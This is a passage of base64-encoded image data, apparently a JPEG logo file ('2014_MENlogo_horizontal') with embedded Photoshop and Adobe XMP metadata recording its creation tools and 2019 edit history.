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uYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpzdEV2dD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlRXZlbnQjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cGhvdG9zaG9wPSJodHRwOi8vbnMuYWRvYmUuY29tL3Bob3Rvc2hvcC8xLjAvIiB4bWxuczp0aWZmPSJodHRwOi8vbnMuYWRvYmUuY29tL3RpZmYvMS4wLyIgeG1sbnM6ZXhpZj0iaHR0cDovL25zLmFkb2JlLmNvbS9leGlmLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0idXVpZDo1RDIwODkyNDkzQkZEQjExOTE0QTg1OTBEMzE1MDhDOCIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpDNTlGNkZGQ0QxMzkxMUU4OTFDNUJBQzk5MjMyMUFBRiIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDowREJDQzI4NDY5MUJFQTExQjE3RjgzRDc2RjJEQTJCMSIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBJbGx1c3RyYXRvciBDQyAyMi4xIChNYWNpbnRvc2gpIiB4bXA6Q3JlYXRlRGF0ZT0iMjAxOS0xMi0wM1QwMToxMDo1NyswMTowMCIgeG1wOk1vZGlmeURhdGU9IjIwMTktMTItMTBUMTc6MjQ6MjArMDE6MDAiIHhtcDpNZXRhZGF0YURhdGU9IjIwMTktMTItMTBUMTc6MjQ6MjArMDE6MDAiIGRjOmZvcm1hdD0iaW1hZ2UvanBlZyIgcGhvdG9zaG9wOkNvbG9yTW9kZT0iMyIgdGlmZjpPcmllbnRhdGlvbj0iMSIgdGlmZjpYUmVzb2x1dGlvbj0iNzIwMDAwLzEwMDAwIiB0aWZmOllSZXNvbHV0aW9uPSI3MjAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIHRpZmY6TmF0aXZlRGlnZXN0PSIyNTYsMjU3LDI1OCwyNTksMjYyLDI3NCwyNzcsMjg0LDUzMCw1MzEsMjgyLDI4MywyOTYsMzAxLDMxOCwzMTksNTI5LDUzMiwzMDYsMjcwLDI3MSwyNzIsMzA1LDMxNSwzMzQzMjtDNENFOTFCMUJEMzYxQkUyRUY3MkZGQjlGRjU2NTFGNyIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjIwMCIgZXhpZjpQaXhlbFlEaW1lbnNpb249IjYxIiBleGlmOkNvbG9yU3BhY2U9IjY1NTM1IiBleGlmOk5hdGl2ZURpZ2VzdD0iMzY4NjQsNDA5NjAsNDA5NjEsMzcxMjEsMzcxMjIsNDA5NjIsNDA5NjMsMzc1MTAsNDA5NjQsMzY4NjcsMzY4NjgsMzM0MzQsMzM0MzcsMzQ4NTAsMzQ4NTIsMzQ4NTUsMzQ4NTYsMzczNzcsMzczNzgsMzczNzksMzczODAsMzczODEsMzczODIsMzczODMsMzczODQsMzczODUsMzczODYsMzczOTYsNDE0ODMsNDE0ODQsNDE0ODYsNDE0ODcsNDE0ODgsNDE0OTIsNDE0OTMsNDE0OTUsNDE3MjgsNDE3MjksNDE3MzAsNDE5ODUsNDE5ODYsNDE5ODcsNDE5ODgsNDE5ODksNDE5OTAsNDE5OTEsNDE5OTIsNDE5OTMsNDE5OTQsNDE5OTUsNDE5OTYsNDIwMTYsMCwyLDQsNSw2LDcsOCw5LDEwLDExLDEyLDEzLDE0LDE1LDE2LDE3LDE4LDIwLDIyLDIzLDI0LDI1LDI2LDI3LDI4LDMwOzgzQkQ0MUM2QkZFQ0IyRjIxQTVGNEE0MDE1NjlGMTk0Ij4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6ODZhOTIyMTAtODExNi00MjMxLWJjZjItYjk0MDIzZmU4OTkxIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjg2YTkyMjEwLTgxMTYtNDIzMS1iY2YyLWI5NDAyM2ZlODk5MSIvPiA8eG1wTU06SGlzdG9yeT4gPHJkZjpTZXE+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDowQ0JDQzI4NDY5MUJFQTExQjE3RjgzRDc2RjJEQTJCMSIgc3RFdnQ6d2hlbj0iMjAxOS0xMi0xMFQxNzoyNDoyMCswMTowMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIENTNCBXaW5kb3dzIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDowREJDQzI4NDY5MUJFQTExQjE3RjgzRDc2RjJEQTJCMSIgc3RFdnQ6d2hlbj0iMjAxOS0xMi0xMFQxNzoyNDoyMCswMTowMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIENTNCBXaW5kb3dzIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDwvcmRmOlNlcT4gPC94bXBNTTpIaXN0b3J5PiA8ZGM6dGl0bGU+IDxyZGY6QWx0PiA8cmRmOmxpIHhtbDpsYW5nPSJ4LWRlZmF1bHQiPjIwMTRfTUVObG9nb19ob3Jpem9udGFsPC9yZGY6bGk+IDwvcmRmOkFsdD4gPC9kYzp0aXRsZT4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD94cGFja2V0IGVuZD0idyI/Pv/uACFBZG9iZQBkQAAAAAEDABADAgMGAAAAAAAAAAAAAAAA/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgIDAwMDAwMDAwMDAQEBAQEBAQEBAQECAgECAgMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM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